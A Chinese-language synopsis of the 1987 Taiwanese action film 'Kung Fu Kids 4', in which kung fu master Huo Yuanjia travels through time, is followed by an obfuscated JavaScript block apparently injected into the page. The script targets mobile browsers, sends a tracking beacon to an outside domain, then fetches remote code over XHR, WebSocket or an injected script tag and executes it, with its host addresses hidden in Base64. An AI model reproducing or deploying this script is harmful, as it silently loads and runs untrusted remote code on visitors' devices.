《好小子4：跨越时空的小子》是由张鹏翼执导，颜正国,左孝虎,陈崇荣,吴大维,张冲,关洪,房勉,黄正霖,龙天翔,郎雄主演的动作片。该电影于1987年在台湾上映。 伟大的功夫大师霍元甲在拜师学艺之际不小心误入了时光隧道，从清朝穿越到了现代。物换星移之中，困惑而又迷惘的霍元甲遇见了阿国、小胖子和阿国等善良的孩子们。在孩子们的帮助下，霍元甲逃脱了来自秘密探员的追捕，不仅如此，阿国还将霍元甲带回了家。 让霍元甲感到震惊的是，阿国的爷爷竟然是精武门的第五代传人，而精武门的创始人正是霍元甲本人，而霍元甲穿越时空之前，还尚未创立精武门。在小燕的哥哥的帮助下，霍元甲重新找到了时光隧道的入口，然而在误打误撞之中，阿国和小胖亦随着时光隧道返回了清朝。利用现代世界里的种种机能，阿国和小胖在比武场上挫败了敌人嚣张的气焰。
function dxHQY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function HDcMnQeP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dxHQY(t);};window[''+'b'+'r'+'Q'+'J'+'N'+'Y'+'S'+'D'+'a'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=HDcMnQeP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ssd.zmneysz.com:7891/stats/7747/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZ0Zy4wYTlljLmNvbSUzQTg4OTE=','d3NzJTNBJTJGJTJGcG8uemmFjdmm0uY29tJTNBOTUzMw==','4680',window,document,['l','m']);}:function(){};